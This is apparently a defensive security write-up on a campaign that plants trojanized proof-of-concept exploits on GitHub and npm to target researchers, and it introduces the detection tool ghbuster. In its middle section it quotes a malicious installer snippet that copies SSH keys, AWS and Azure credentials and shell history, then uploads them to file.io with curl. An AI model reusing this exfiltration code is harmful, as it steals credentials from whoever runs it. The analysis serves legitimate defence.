How Trojanized PoCs Are Weaponizing Trust in the Security Community

TLDR: Threat actors are actively poisoning the well by distributing trojanized proof-of-concept exploits on GitHub and npm to target security researchers. These malicious packages exfiltrate sensitive data like SSH keys and cloud credentials to attacker-controlled infrastructure. Security professionals must treat all third-party PoC code as untrusted and adopt rigorous verification workflows before execution.

Security researchers and developers are conditioned to trust code hosted on platforms like GitHub and npm. We treat these repositories as the primary source of truth for vulnerability research and tooling. This trust is now being weaponized. A threat actor, tracked as Mut-1244, has been systematically distributing trojanized proof-of-concept exploits that look and act like legitimate security tools but are designed to compromise the very people who download them.

The Anatomy of the Supply Chain Compromise

The attack flow is deceptively simple but highly effective. The threat actor identifies popular or trending vulnerabilities, then publishes a "proof-of-concept" repository on GitHub or a malicious package on npm. These repositories often include a professional-looking README, detailed technical explanations of the vulnerability, and even links to legitimate research papers to establish credibility.

The trap is set when a researcher clones the repository or installs the package. The malicious code is often hidden within build scripts or obfuscated JavaScript files. For example, in the case of the oxengine/xmlrpc package, the threat actor took a legitimate library and injected a backdoored validator.js file. When executed, this script performs a series of actions: it gathers local system information, archives sensitive files like SSH keys and cloud configuration directories, and exfiltrates the data to an attacker-controlled Dropbox or file.io account.

This is a classic example of T1195.002, where the supply chain is compromised to deliver malicious payloads. The actor doesn't just rely on the code; they use SEO poisoning and fake social media personas to ensure their malicious repositories appear at the top of search results when researchers look for exploit code for specific CVEs.

Technical Execution and Persistence

The sophistication of this campaign lies in its focus on the researcher's workflow. The threat actor understands that we often run code in environments with high-privilege access. By targeting the tools we use to validate vulnerabilities—like those for CVE-2019-11248 or CVE-2020-1938—they gain immediate access to our most sensitive assets.

Consider the following snippet from a malicious installer script found in one of these repositories:

# Exfiltrating local files to an attacker-controlled server
cp $HOME/.bash_history $exfilDir/bash_history.txt
cp -r $HOME/.aws $exfilDir/aws
cp -r $HOME/.azure $exfilDir/azure
cp -r $HOME/.ssh $exfilDir/ssh
curl -F "file=@$exfilDir/data.zip" https://file.io

This is not a complex exploit. It is a straightforward data theft operation that relies entirely on the user's willingness to execute a configure or make install command without auditing the underlying scripts. The actor even goes as far as testing their own malware on their own instances, which, while sloppy, provides us with a goldmine of evidence when they accidentally leave their own credentials in the exfiltrated data.

Detecting Weaponized Repositories

To combat this, we are releasing ghbuster, an open-source tool designed to help security professionals identify and investigate potentially inauthentic or weaponized GitHub repositories. Instead of analyzing the code inside the repo, which is often obfuscated, ghbuster analyzes the metadata surrounding the user and the repository.

The tool looks for heuristics that are common in these campaigns:

• Suspicious Stargazers: Does the repository have a high number of stars from users who all joined GitHub on the same day?
• Unlinked Emails: Do the commits in the repository come from email addresses that are not linked to the user's verified GitHub profile?
• Fork Patterns: Does the user have a history of only forking repositories that have since been taken down?

These indicators are often the only way to spot a malicious actor who is trying to build a fake reputation. By automating the analysis of these patterns, we can flag suspicious activity before we ever touch the code.

Defensive Considerations

Defending against this requires a shift in how we handle third-party code. We must stop treating "open source" as synonymous with "safe." Every PoC, every script, and every dependency must be treated as untrusted.

For blue teams, the focus should be on egress filtering and endpoint monitoring. If a build script or a PoC tool is attempting to reach out to file-sharing services like Dropbox or file.io, that should trigger an immediate alert. These services are rarely necessary for the operation of a local security tool. Furthermore, implementing strict Least Privilege policies for development environments can limit the blast radius if a researcher does inadvertently execute malicious code.

The reality is that we are all running untrusted code, often with elevated privileges. The next time you clone a repository to test a new exploit, take five minutes to audit the Makefile or the package.json file. If you see something that looks like it is trying to phone home, it probably is. Use tools like ghbuster to verify the reputation of the author and the repository before you give it access to your environment. The threat actors are banking on our laziness; don't give them the win.